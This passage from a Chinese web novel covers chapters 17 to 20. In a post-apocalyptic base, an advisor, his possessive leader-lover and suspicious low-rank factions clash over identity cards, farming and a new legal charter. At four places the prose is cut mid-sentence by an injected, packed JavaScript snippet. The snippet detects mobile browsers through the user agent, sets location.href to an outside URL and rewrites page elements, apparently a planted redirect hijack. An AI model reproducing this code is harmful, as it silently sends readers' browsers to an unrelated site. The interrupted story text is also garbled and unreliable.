祝晏拍拍他的肩膀，俨然一副有巨大秘密，却为了对方不担心，刻意隐瞒的样子：“别担心，他没有对我怎么样。” 却在捡了一半时停下来，头深深地垂着，拳头攥紧。 “什么没有做什么，我分明看到，他对你……” “是我同意的。” 他没有撒谎，但是看在林筝眼里，仍旧是对他的安慰。 可他又能做什么？首领一个眼神，就能让他丧失行动能力。 何况是没有异能，身体柔弱的祝先生。 他低头，看到了祝晏手指上的暗红指印，猛地想起，初见祝晏时，对方是没有戴手套的。 从什么时候开始…… 眼泪浸湿眼眶，仿佛有惊雷在头顶炸响。 是从祝晏被重岩叫走，和枭谈成合作那次。 可恶的，傲慢的，卑鄙的，该死的高阶异能者！ 他们怎么谈成的合作？是用重建人类文明为理由强迫祝先生，还是通过强迫祝先生，逼他站在高阶的一方，为他的统治无条件地提供帮助？ 那天，祝先生告诉他，不止文明，所有人类个体的存在都是他想守护的，而紧接着，枭这个人类首领，就对他做出这种事！ 是枭逼迫，所以祝先生才会不顾身体健康，牺牲休息时间工作吗？ 他在回基地的路上，明明要一天睡上十五个小时！ 林筝再看仓库里这堆由祝晏研究设计的异能者身份卡，不再有初次见到时的惊艳和兴奋，只觉得这里到处沾着祝晏的血泪，该死的枭竟然还在这里强迫他！ 看着单纯正直的主角受一边捡名单一边恶狠狠地抹眼泪，系统忍不住问：“他好像误会了，你不告诉他实情吗？” “我说的都是实话。” 祝晏道：“确实是我同意的。” 系统生气：“谁说这个了！我是说你怎么不跟他解释你和反派的关系！” 祝晏：“解释什么，你不想要神圣值了？” 下一秒，主系统自动播报：【神圣值：82】 不愧是主角受，祝晏给基地带来那么多变化，才涨了不到十个点，他一下子就给了两个。 “别怪首领。” 他接过林筝手里的名单：“也别和其他人说。” 【神圣值：84】 林筝最后用手擦了一把眼睛，憋着眼泪，委屈地点了点头。 “我知道了。” 何况，就算他想怪，又能做什么。 祝晏肉眼可见地松了一口气，揉了揉他柔软的黑色头发：“我不会再让他伤害你，你也不要再这样招惹他。” 林筝不敢想象，为了这个“不再伤害”，祝晏要付出什么代价，闭上眼睛，心痛答应：“嗯。” 【神圣值：85】 系统的声音紧随其后：“反派名声－100。” 合着这就是祝晏说的，新的刺激。 * 轰轰烈烈的人口普查结束，基地开始派发身份卡。 不少异能者把异能注入卡片，看到上面形成与自己异能相应的颜色，都吓得扔了出去，以为这是机械怪物的杰作。 “这个跟AI没有关系，是祝顾问研究的特殊材料。” 分发身份卡的街区官重复着自己都不明白，从长官那里听来的原理：“这个材料能捕捉我们异能产生的元素，每个人注入异能后，都是独一无二的一张卡。” “那这个有什么用啊？” “用处可多了。” 街区官来了精神，介绍道：“以后领任务和领食物都带着这张卡，就没有人能冒领，还可以用最快的速度抓住AI偷送进来的叛徒，祝顾问在卡里放了一个什么金钟罩触发器，你们贴身带着，能抵抗一次致命伤害。” 低阶们没看过祝晏的能量罩，对着一张卡翻来覆去地看：“触发器在哪？” 街区官：“自动触发，有生命危险就会打开。” 有人问：“能抵抗高阶异能者吗？” “当然能。” 街区官说话时，眼中满是尊敬和崇拜：“我去领证的时候看了，祝顾问就是让一将军攻击的，满天的火吧墙都烧黑了，祝顾问一点事都没有。” 分区重组之后，首领府就在各个街区贴过名为“公告”的一张大纸，上面说过，高阶强者们都被编入军队，按照实力排名。 一将军，岂不就是将军里最强的一位？ 低阶们简直不敢置信：“你的意思是，这个东西，甚至能让我们不被高阶杀死！” 得到了肯定的回答，众人都如获至宝，恨不得把卡片贴在自己身上。 有的人则注意到了街区官反复提到的人：“祝顾问，就是改粮食站的那个前人类？” “就是他。” 粮食站刚建成时，还有人不爽要分两地领取任务奖励，但没过多久，就体会到了贡献点的方便和好处。 也是听粮食站的人说过才知道，是祝顾问用自己的营养液跟高阶换了能量块，又研究出了未变异植物的种植方法，他们的任务奖励才比之前多了一大截，即使做的是没那么费力的任务，也能填饱肚子。 有人悄悄感叹：“看来笛老说的没错，祝先生真的是我们人类的希望！” 与此同时，首领府内，将军们也拿到了各自的身份卡。 成熠拿着自己红到晃眼的卡片，洋洋得意地跟银雪手里的冰蓝色卡片对比：“我的比你的亮，我异能比你的强。” 银雪冷笑：“你确定？” 她朝枭的方向挑了挑眉。 成熠看过去，只见枭手里摆弄着一张纯黑色的身份卡，那黑色与日常生活中能见到的黑不同，没有任何的光泽，仿佛深不可测的深渊，吸收了一切的光亮。 如果是谁的卡亮谁的异能强，那么枭就成了全基地最弱的一个。 成熠见枭脸色难看，显然对身份卡有所不满，小声跟她嘀咕：“首领还挺爱美。” 银雪：…… 她看看沉默不语的枭，和他身边来送身份卡的笛一，闭了闭眼睛，还是决定不要抛弃森林里的笨蛋伙伴：“你仔细想想，祝先生给分区官和街区官演示金钟罩，为什么找你，不找首领？” 成熠：“因为我的异能很漂亮？” 银雪： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林筝冷声冷气：“他们是群只会掠夺和强迫的野兽，不知道欺负了多少低阶，想做他们的情人，迟早要付出代价。” 拥有治疗异能的林筝其实也算是高阶的一员，笛一抿了抿嘴，没敢提醒他，带着满腔疑惑离开，反复思索后，得出结论：首领府的某位高阶，“掠夺、强迫”了研究所的某人。 如果是林筝，他不会发这么大的火，那么……就是林筝最在乎的人！ 这个人，以前是笛老，现在是祝晏。 如果所谓的“人类宝藏”和高阶合作是因为他们有情人关系，那么祝晏绝对会失去所有低阶的支持，说不定还会被其他高阶当做玩物毁掉！ 笛一心头震荡，只觉得发现了天大的秘密，强行压制住心中的惊涛骇浪，走到无人处，掏出了一个小小的机器。 基地的所有人都对机械怪物有心理阴影，连电灯都不肯用，如果见到了，估计会立刻尖叫，然后将持有人当做AI叛徒举报兵攻击。 但笛一已经顾不得了，他把震惊地把自己的猜测发了出去，然后偷着收进了贴身的衣服里，装作无事发生地离开。 18. 人类文明-18 基地要整改的事情还有很多，一直忙到晚上，将军们各自回去完成任务，同样住在首领府的成熠见祝晏没回来，这才相信首领和祝先生真的吵架了。 “首领。” 他提醒道：“祝先生还没回来。” 枭一开始没有意识到，但接连被冷落几次，才明白祝晏在躲着他。 闻言烦燥皱眉：“我知道。” 自从祝先生来基地，首领越来越像正常人了，成熠没管他的烦恼，反而有些欣慰，感觉自己像是偶像剧中男主的老管家，应该在此时说一句：“我还是第一次看首领生闷气。” 枭：…… 他看了一眼没有眼力见的下属，问道：“你有事？” “我没事了。” 成熠挠挠头：“首领你跟祝先生吵架了的话，我去把他接回来吧。” 枭：…… 他本来是这样的打算，但成熠一问，莫名其妙又不想同意了。 “不用。” 他站起来，突然不满地看相成熠：“我没跟他吵架。” 说罢，拿过实验田递上来的成熟青菜，从窗户跳了出去。 来到研究所，却被阿金拦在了外面。 旁边守门的高阶看得手心冒汗。 首领让阿金只听祝晏的，这傻小子倒是听话，连首领都敢拦。 下一秒，阿金：“首领，祝先生不在研究所，他带着林筝去实验田了。” 守门高阶：？ 待首领转身离开，他用眼神询问。 “是林筝说不让首领进，又不是祝先生本人。” 阿金理所当然：“祝先生教的，要学会变通。” 守门高阶给他竖了个大拇指。 * 阿金是祝晏的保镖，按理说是要贴身跟着的，没带阿金，就说明他身边有值得信任的高阶强者。 果然，枭赶到实验田时，除了蹲在地上与试验田低阶管理交谈的祝晏和在一旁记笔记的林筝，还见到了不久前刚从首领府与他告别的副首领。 两个高阶灵敏的听觉同时发挥作用，同时回头，两张脸上，一个愤慨，一个带着阴阳怪气的惊讶，看起来竟有些同仇敌忾的意味。 “祝先生，我真的不知道该怎么感谢您才好。” 枭走近时，跟祝晏说话的低阶在抹眼泪：“我从来都没吃过这么甜这么香的青菜，还是从我自己手里种出来的，我都不敢想象，这些进了粮食站，基地的人会有多高兴。” 祝晏一如既往的直白：“你们的产量低，做不到供给整个基地。” 那低阶也不生气：“那我们再多养点土地，您觉得我们明天就把新种子种下去行吗？” 祝晏转头，却意外与枭对上了视线。 他没搭理他，而是把重岩叫了过去。 重岩用手指抓起一点土，随即点了点头：“养的不错，跟这一批种下前差不多。” 祝晏却摇了摇头：“不够了，换种吧。” 低阶有些着急：“为什么？” “还有二十天就会降温，这种夏令时蔬菜如果不能在降温前成熟，就会被浪费，土壤的营养不够。” 他安慰几人：“这是第一次成熟，供应不上很正常，这二十天尽量多开垦土地，换种的蔬菜也很好吃，你们不用担心。” 几人呆呆地看着他：“祝先生怎么会知道什么时候降温？” 祝晏稍稍意识到了不对：“你们知不知道，现在是几月？” 低阶：“八月。” 祝晏长长地松了一口气。 看样子，是在担心他们连现在是什么日子都不知道。 新世界和前文明的信息差还是给祝晏带来了许多不便，虽然这代表异能者又被小看了，但他这样如释重负的样子，实在是有点可爱。 重岩忍俊不禁：“我们还有前文明留下的老人，他们还在计时。” 祝晏点头：“看来你们是只保留了公历纪年法。联盟古人使用的历法将一年分为二十四节气……” 他说着说着，就看到认真听他说话的几人一点点往下落。 不，不是他们下落，而是自己飞起来了。 某人的异能把他屁股下的空气凝成史莱姆一样的透明实体，像个会生长的小凳，慢慢把他托了起来。 祝晏：…… 枭的异能很难被看见，低阶听得认真，以为他是累了站起来，完全没发现不对。 而祝晏身边的两人则感受到发生了什么，再次一起看向枭。 男人抱着他出任务时才会带在身边的长刀，毫无被冷落的自觉，见重岩还在盯着他，微微扬眉。 另一边，祝晏简单给种地的低阶讲了一下时令的计算，并不着急让他们完全听懂：“未来我会把相关的知识教给所有……” 他的声音突然停下。 低阶管理连忙关心：“祝先生，怎么了？” “没事……” 祝晏不动声色地踢开缠上他脚腕，并试图钻进裤管，触手一样的“史莱姆”，坚持把最后一句话说完，然后站了起来，转身皱眉：“首领。” 祝顾问的地位相当于副首领，那么能被他叫做首领的是…… 低阶管理这才意识到一直一言不发，被孤立在外的男人是基地最高首领！ 他踉跄着站起来：“首，首领……” 只是现在没有人能分出心思关心他。 祝晏向前几步，甩开还在占他便宜的空气史莱姆，而林筝如临大敌，做好了攻击的准备，却因为知道自己的攻击没有任何作用，显得有些绝望。 重岩注意到他的不对劲，满眼好奇地看过去。 “祝顾问终于愿意理我了。” 男人从口袋里掏出一张卡片：“给你送身份卡。” “我和首领还有合作，不会不理你。” 祝晏蹙眉：“身份卡是给异能者设计的，我不用。” 异能者只需要控制元素流动，就能在材料上留下自己的名字，祝晏没有异能，身份卡在他手里只是一张白纸板。 枭：“我用异能给你写上名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515675|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字了。” 他强硬地把卡递上前。 祝晏跟他僵持了一会儿，才接过那张卡。 依旧是纯白色的，只是用黑色写着“祝晏”两个字。 青年接过卡片，无声地叹了口气。 枭：“跟我走。” “不要！祝先生！”林筝上前，抓住祝晏的手腕，因为过度的紧张咽了咽口水，警惕地看着枭。 男人这次情绪稳定，直接无视了他，只询问祝晏的意见。 林筝怒视着枭：“我不会让你再……” “好。” 祝晏转身，把林筝推向重岩。 重岩看懂他的意思，立起岩墙把林筝关了起来。 两人正要走，一瞬间，面前又出现了第二堵岩墙。 重岩压低眉眼，总是笑着的脸此刻蒙上了一层阴影。 “首领，你要带祝先生去哪，做什么。” 枭大概是没想到重岩也会阻拦他，想了想，又觉得合理，这人也是觊觎祝晏的一员。 对待一直以来的副手，他显然更有耐心一点：“跟你没有关系。” 重岩不肯动：“林筝不会无故反对，我要知道，他为什么会这样。” 男人沉下眉毛，冰冷漆黑的双眸仿佛酿着风暴，仿佛下一秒就要发动异能。 微风吹过，祝晏好像被凉到，突然咳嗽了两声：“咳咳。” 枭低头，把自己的外套披到他身上。 “你们的视频白看了，学不会尊重？” 枭侧目：“走不走，不是应该询问祝晏自己的意思？” 重岩即将爆发的表情一顿，随后错愕又慌乱地望向祝晏：“我不是……” “我知道，他在偷换概念。” 祝晏抬手推了枭一把，男人配合地向后退了半步，随后，越过中间的祝晏，颇为无赖地歪过头，扬着下巴，略带挑衅地看着另外两人。 可惜已经转身的祝晏没有看到，他的声音有些无奈：“副首领，林筝只是对首领有些误会，他不会伤害我。” 一旁看傻了的低阶：这位是副，副首领？ 林筝还想说什么，祝晏在他开口前看过来，他这才想起祝晏之前的嘱托。 不能怨恨首领，不能告诉别人，不能不顾自己的性命。 于是只能眼睁睁看着重岩放他们一起离开。 他使劲捶着岩墙，满脸的痛苦与懊恼。 从未有过地痛恨自己的无能，明知首领不安好心，却只能闭嘴。 重岩站到他身边：“你看到过什么？” “我不能说。” 林筝抱头，蹲在地上喃喃自语：“我们异能者，欠祝先生太多了……” * 枭刚把祝晏带出其他人的视线，就揽住他的腰，打横抱了起来。 “首领！” 祝晏被吓了一跳，声音沾上了几分怒气。 男人故意颠了颠，吓得怀里人猛地抱紧他的脖颈，戏谑的声音在耳边响起：“祝晏，你上次不是这么叫我的。” 19. 文明火种-19 枭的速度很快，一路带着祝晏出了基地，直到落到一片前文明废墟。 见祝晏站直后只是左右看看，男人扬眉：“你好像不惊讶？ ” 祝晏：“你带了刀。” 枭动了动嘴角：“什么都瞒不过祝先生。” 他见祝晏张望着要走，用异能触手把人拉了回来。 腰上勒得有些紧，祝晏不适地挣扎了几下，却好像惹了男人不快，异能触手变成了异能史莱姆，把他簇拥在中间，直接举了起来，被迫与对方平视。 “那你怎么看不出来我没想杀他？我真的想杀人，不会给你拦我的时间。” 祝晏无奈：“你带我出来，就是想说这个？” 枭：“是。” “我今天的确很忙，不是故意不理你。” 祝晏轻叹：“之前我也有晚回首领府的时候，首领却只有今天觉得我生气，难道不是你自己觉得做错了吗？” 枭：…… 他沉思半晌，几乎开始怀疑自己，目光复杂地看着祝晏，一点点把他放下来。 祝晏把人哄好，抬头看眼前高大的牌匾：“长春宫……这里是前文明的S市？ ” 说着，也不用枭回答，就自己走了进去。 长春宫是S市的著名古宫殿群，经历多朝，占地几万平，有几百年的历史。 二百年过去，有些木制建筑无人养护，有了不少破损，但大多数的建筑，还坚强地屹立着，古朴厚重的气息历经沧桑，仍能看出曾经繁华的冰山一角。 祝晏一开始自己走，但没走多久就累了，坐在枭的异能史莱姆上继续游览。 枭还在纠结之前的问题，在游到主殿长生殿时突然停下道：“我没错，他是互助会的人，当时外面还有其他人，如果我们的关系被他喊出来，会有很多麻烦。” 祝晏回头，声音严肃了一点：“你想了这么久，就想到了这个？” 人类最高强者，基地首领，突然心虚了起来。 “我没错，我带你过来……只是想告诉你，我没有不在乎你说的话。” 他推开大门，给祝晏看里面一片片干涸的血迹。 “这里之前是变异猴的领地，它们会穿上人类的衣服躺在屋子里，让怀里的幼猴发出婴儿的声音，等人类放松警惕过来搭救，再关上大门，把他们抓起来，当着其他人类的面，扯出一个人咬成肉泥，喂给他的人类同伴，那些人被恶心到，吐光了胃里的酸液，再掏出他们的内脏享用。” 看祝晏脸色白了几分，他又有些后悔，赶紧把门关上：“后来我们把变异猴灭种，这里才变成空城。” “祝先生，你在基地能看到的最小的异能者，手里都可能有其他生物，甚至人类的鲜血，也见过不止一个同类死在自己面前，我们和前人类不一样，我们擅长欺骗、背叛，一次的宽容就可能换来死亡。” “他们不值得你相信。” 祝晏转头望着基地的方向：“我能改变。” “我相信你能改变，我会按照你的想法重建基地。” 男人声音中带着几分妥协：“我打算把这里给你做博物馆，等AI被消灭了，涅槃的收藏品就放在这里，让所有人都有资格来看。” 祝晏闻言看他，枭继续道：“我知道要以理服人，但下次有人想要伤害你，我还是会第一时间攻击。” “那是我们两个之间的事了。” 祝晏抬手，安抚般拍了拍自己手下的“史莱姆”。 “我允许你为了我战斗，但……你也要考虑一下后果。” 他认真地看着枭，专注的视线让人有几分被担心了的错觉。 “互助会不是敌人，我把林筝带在身边，不只是因为信他，他在低阶中很有声望，又是高阶异能者，是最适合做高阶低阶调和剂的人，你怎么能为了这种小事跟他为敌？别告诉我你没有其他温和的手段让他闭嘴。” “你是首领，是能通知整个基地的人，你的肩上是全人类的命运，怎么能因为亲吻被打断就对无辜的人发泄情绪？” 枭张了张嘴，想说不止是被打断，林筝和银雪重岩一样，还是敢觊觎祝晏的人。 但……没有发出反驳的声音。 他落入了祝晏的宏大叙事陷阱，因为对方就是那样可以为了理想牺牲休息时间，一切都为了人类未来的人，所以他也开始怀疑，自己是不是做错了。 这次，祝晏没有给他想明白的时间，从“史莱姆”上跳下来，推着他的肩膀，按到了身后宫殿的朱红色大门上。 依旧那副没有什么欲望，带着些宽容的无奈那副崇高模样，却好像不知自己这样才最诱人，亲自摘下了遮住眸色的眼镜。 “又不是只让你亲一次，你唔……” 未尽的话被淹没在铺天盖地的吻里，呼吸和力气仿佛都被扣留，需要不断仰头才能恢复些许。 男人异能的形状越来越丰富，仿佛数不清的大手从背后伸过来，与本人前后夹击，将他紧扣在怀里。 分明周围是经过血洗的宫殿，鼻腔和舌尖还是莫名泛起说不出味道的甜腻香气，而被迫接受的祝晏在片刻后恢复了些许力气，试图反击，却被对方当成了回应，夺取得更加激烈和纯粹。 分开时已经不知道过了多久，祝晏脚下悬空，双手脱力地搭在男人胸口，被迫与他贴得亲密无间，无声地清喘：“下巴和下巴也算是肌肤接触，所以我才……” 没等他说完，男人盯着他的眼睛，再一次吻了上来。 也许是这次枭把手伸进了手套，也许他们选择的位置太过光天化日，祝晏彻底没了力气，予取予求，时不时从鼻腔中飘出几声呜咽，被咬疼了，就攥拳轻轻捶一下男人的肩膀。 直到天色渐暗，两人才冷静下来。 祝晏窝在异能史莱姆里，被过度满足的肌肤饥渴症带来的颤抖一点点消失。 枭彻底服了，甚至还在问他，需不需要给林筝道歉。 “这倒不用，他和你地位悬殊，首领可以保持一定的威严，但是重岩……” 枭：…… 因魇足容光焕发的一张帅脸垮了下来。 祝晏戴着手套，伸手捏起他的两边嘴角：“他是你的副手，你们有矛盾，会给基地带来麻烦。” “高阶之间，本来就不是你想的那种好关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515676|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系，无论是他，还是成熠，阿金，他们都只是服从实力，只要我还能战斗，他们就只能低头。” 男人顺从他的心意，温和地笑了笑：“只有你，敢对我动手。” 祝晏握拳，在他肩上一敲。 男人配合地捂住肩膀，向后倒了倒。 “S市会是基地的第一个开发区。” 回去的路上，枭还带祝晏看了前文明的S市学校：“你的学校也放在这里。” “好，很好……” 祝晏坐在他怀里，摸了摸他被风吹得发凉的侧脸：“首领说异能者不值得相信，但你其实是很值得信任的一个人。” 又被夸了。 男人难掩扬起的嘴角，在高速的移动中，还能空出心思，低头亲了一下怀中人的额头：“你可以相信我，祝晏。” “我会实现你的目标，完成你的计划，做你最值得信任的合作伙伴。” “是么。” 祝晏动了动嘴唇，声音太小，还没来得及被听到，就消散在风里。 * 在第一批青菜送往各区粮食站的当天，新联盟第一届话事人会议开启，首领府开启了最大的房间，几百个高阶和低阶的话事人聚在一起，参与新联盟的未来发展讨论和立法。 分区后的街区曾经选过一次话事人，很多人习惯之前的实力崇拜，都选了街区里最强的人，但没过多久，就出了问题，很多被选上的人远远不如首领府选拔上来的管理，经常多占多拿，甚至利用权力欺负其他人。 首领府仿佛早就知道会有这种事发生，在会议开始前，又发起了第二轮投票，并且要求被投票人从无杀人和抢劫记录，这一点刷掉了大部分人，最后能坐在首领府的，都是经过层层选拔，被大多数人熟知并信任的低阶。 很多人都是第一次看到这么多高阶，聚在一起难掩兴奋，小声讨论着什么，但人数实在是太多，很多人聚在一起，就是大声，没多一会儿，就被枭的异能给制裁了。 这些人中，大多数只有旁听和给顶头上司提建议的权力，能做决定的人坐在人群中间的圆桌，枭坐在主位，左右分别是祝晏和重岩，再两侧是第一小队的成员，现在已经按照实力，被封为将军。 代表前人类老人的刘老带着身为互助会会长的笛一，也得以坐在圆桌上。 他趁着眉眼，落座后，视线就固定在祝晏和周围几位强者中徘徊，时不时与笛一交换一个眼神。 周围有高阶，他不能说话，在笛一手上写下“看好他到底跟谁有私”几个字。 而被关注的祝晏并没有表现得那么自然。 枭带他去了一次S市后就变得很欠，异能的形状也越来越多，这么多人的场合，竟敢用异能触手蹭他的手腕。 祝晏偷着掐了一把怀里的母鸡，系统“嗷”的一声，扑腾着翅膀落进枭怀里。 枭接住母鸡，差点在一群人面前失了形象，祝晏获得了片刻的平静。 重新被反派拎起翅膀的系统：“祝晏，我恨你。” 祝晏推了推眼镜，在一群从未见过他的异能者眼中，显得十分神秘高深：“首领，可以开始了。” 20. 文明火种-20 基地被起名“新联盟”是有原因的，前文明虽然被不少人讨厌诟病，但没有人能否认，前人类的生活很富足，再加上有异能提升药剂吊着，无论是开发S市，建立学校医院，还是扩大种植面积，把重心从捕猎改为饲养，都没有人反对。 当听到三年内消灭AI，会场激动的讨论声和氛围几乎要顶穿房顶。 只有最近出过任务的一些高阶还算平静。 只有他们能接取的剿灭机械怪物的任务最近特别少，不知道第一小队在外面做了什么，AI元气大伤，放任他们拆了大片的基站。 “接下来讨论的，” 作为发言人的重岩环视四周：“是沿用联盟的基本法。” “反对。” “我反对！” 两道声音从不同的方向响起。 一位高阶站起来：“基地是我们高阶打下的，谁不知道联盟基本法说人人平等，低阶在基地躺着，凭什么跟我们平等！” 一句话，让在座所有低阶表情都难看了起来 “低阶承担了基地大部分的劳动，分明是高阶，有更大的力量，在基地里什么都不干！！” 笛一愤怒地站起来，得到了不少低阶感激的目光，和几乎所有高阶的厌恶。 祝晏：…… 不是他不重视这位首领竹马，实在是没有什么针对他的必要。 除了情绪激动的高阶外，还有一个身穿白袍的低阶提出反对，但所有人一致忽略了他的意见。 “反思教教主。” 祝晏另一边的银雪给他介绍：“他们觉得是前人类惹怒了自然神才引发了末世，反对所有跟前人类有关的东西，之前没反对。他们是第二大的低阶组织，应该是看没有人说，怕得罪高阶。” “都是新联盟公民，也要尊重他们的意见。” 祝晏看向枭：“投票吧。” 人群中的刘老先是看到祝晏跟银雪交头接耳，把银雪记在心里，随后，就看到首领对祝晏的态度也一反常态的温和。 下一秒，重岩拿出投票箱，见祝晏伸手要接，宁可让箱子差点撞到首领的头，也要小心地避开他，最后轻轻把投票箱放在他面前。 刘老：…… 重岩公布投票规则，当知道两位首领的票值四票，高阶将军们值两票时，低阶们只觉得天都黑了——经过长久的会议，现在确实已经天黑了。 在场能投票的人本就是一半高阶一半低阶，现在告诉他们高阶的票更重要，那投票还有什么意义！ 他们将视线放在圆桌上的低阶和自从来到基地，就产生了巨大影响，但一直没有出过面的祝顾问。 然而重岩打破了他们的期待：“祝顾问身为提出人，不参与投票。” 是祝顾问提出的……那是不是代表还有希望，但他又不参与投票…… 在几乎知道结果的情况下，能投票的低阶还是抱着微小的期待，把票投了上去。 投票的纸条放在不透明的塑料球中，祝晏一个个拆开现场唱票，拆到其中一个时，声音顿了一下，抬头看了一眼人群中的刘老，刘老轻咳一声，把视线转到一边。 听着祝晏念出结果：“反对。” 阿金没有投票权，只是帮着祝晏把结果记在后面的黑板，选用了正字计数，当最终结果出来后，会议室内一片哗然。 同意的票数竟然比反对多了二十多票！ 也就是说，占据高票数的将军们，大多数都投了同意！ 一些高阶难掩愤怒，用看叛徒的眼神看着上面的人，却什么都不敢说，他们之前能提出反对，是会议制度赋予的权力，现在不敢说话，则是对实力的盲目崇拜使然。 之后讨论的每一条法条都是如此，低阶们渐渐意识到，这并不是一场真正由大多数人决定的投票，但坐在最中央的将军们变了，只要是祝晏提出的，他们的选择往往都站在了低阶，或者说，是基地大部分人类这边。 不那么“公平”的过程，却孕育出了天翻地覆的结果。 不用猜测，大多数人也知道这一切来源于哪里。 程娜是互助会的一员，第一小队回基地时，她就在笛老住宅的楼下祈福，曾经见过祝晏一面，对于他没有异能的消瘦身体印象深刻，因此也不太相信，基地那些让低阶们大呼万岁的改变是他的决定。 或许是互助会抓到了高阶们的把柄？或者涅槃中有什么不为人知的东西，让那些人终于意识到低阶的重要性？互助会高层对祝晏的态度很暧昧，大多数人看到他跟高阶合作，就默认他并不与低阶一条心，反而担心起他身边林筝和笛一的安危。 但亲自参加会议，她才看得清清楚楚，在低阶们眼中宛如救世主的互助会，只有参与票选的权力，甚至跟反思教一样，都只能投出一票，真正影响高阶的，是那位看起来比高阶强者小了一圈，站久了还需要歇歇，柔弱的祝顾问。 他们怎么会怀疑祝顾问是不是真的为低阶好，那可是还没回到基地，就让某些人用杀害笛老的方式陷害的人！ 【神圣值：87】 系统惊喜道：“看来这个世界并没有那么难，神圣值涨起来还是挺顺利的。” “顺利吗？” 祝晏微微扬眉。 系统立即警铃大作，瞪起眼镜：“你要干什么？ ” 祝晏没理他，抬手遮住下半张脸，克制地打了个哈欠。 紧接着，重岩念法条的声音停了下来，坐在圆桌头部几个将军都放下手中摆弄的身份卡或是羽毛笔，转头看向枭的位置。 沉默两秒后，伸懒腰的伸懒腰，站起来的站起来，一副听不进去的模样。 重岩：“会议一时结束不了，相信各位也累了，暂时休会，明天上午九点继续。” 其他人：？？？ 这会才开了不到八个小时啊？ 异能者由又不用睡觉，尤其是高阶强者，战斗个三天三夜都没有多大问题，他们竟然听到，重岩，这个基地第二强者，说出“累了”这个词！ 众人觉得莫名，但碍于高阶权威，还是各自带着记录离开。 唯有一直盯着他们的刘老，在祝晏打哈欠时，他暗中兴奋，一双鹰隼般锐利，宝刀未老的眼镜在他和诸位高阶强者中徘徊，期待地看到底更关注祝晏一点。 然而，很快他就绝望地发现，隶属于第一小队的这群强者，全都仿佛跳蚤上身，装作不想开会，给祝晏打掩护！ 祝晏总不能跟所有强者都有情人关系吧！他就算说出去，也没有人会信啊！ 刘老懵了。 笛一也懵了。 他一开始还关注着祝晏，但紧接着，就被一条接着一条的提议和法律砸昏了头。 改善生存环境，发展农业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515677|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畜牧业，普及教育，消灭AI…… 重启联盟基本法，尊重人-权物权，保护低阶生命安全，吸纳更多低阶进入管理层，建立法庭，建立弹劾机制…… 他无论怎么看，祝晏这些提议，都是对低阶更好。 “刘爷爷。” 离开会议室的路上，他怯怯地扯了扯刘老的袖子，打断了愤怒老头有节奏的快走。 “我感觉会上这些提议对我们好像都是有利的，我们还要管祝晏……” “糊涂！” 刘老怒喝，见笛一被他的反应吓到，深呼吸平息怒气，扯着笛一走到了没人的地方：“你忘了你爷爷是怎么死的，这么容易，就被他迷惑了？” 提到笛老，笛一状态消沉了不少：“我，我只是觉得祝先……他提出的……” “他的那些提议，不过是为了保住高阶现在的地位！你以为第一小队那群酒囊饭袋是因为同情低阶才投票吗？他们只需要让渡一点点权利，就能让低阶继续做他们的奴隶！” 可那不是一点点权利，按照祝晏的想法，低阶可以凭借知识竞争高位，会议上，很多高阶都恨不得暴起杀人了，又被枭的异能压制惩罚…… 笛一想反驳，但是看了看刘老那与爷爷相似，充满沟壑的脸，又歇了心思，改口道：“但是我们现在还要靠高阶抵抗变异怪物和AI……” 刘老按住笛一的手，冷笑一声：“他们不是说，三年之内消灭AI么……你别忘了我们之前的计划。” 笛一摇头：“没有，我一直没忘。” “祝晏这么做，无非是想挑拨互助会内低阶的关系，你去找林筝，问问他能不能看出来跟祝晏有私的高阶是谁，让他找到证据，我们就利用他们提出的弹劾法，揭露他们的真面目。” 笛一含糊着答应，没敢告诉他，林筝早就不跟他们一条心，一心想着祝晏了，自己硬着头皮回了研究所，一回去，就见到整理会议记录的林筝，几次欲言又止。 林筝忙得来不及抬起头，问道：“怎么了？” 笛一：“那个……今天会上通过了弹劾法，我听说，只要流程合法，甚至可以弹劾首领？” “是。” 林筝难掩激动：“虽然之前高阶的罪行不能追究，但等法律正式颁布，哪怕是高阶将军，也不能再为所欲为。” “那是好事啊……” 因为是心里话，笛一说得不算太心虚，他观察着林筝的表情，装作不经意地提醒道：“基地有不少低阶都被高阶抓走做了情人，按照联盟基本法，我们也能把他们救出来……” 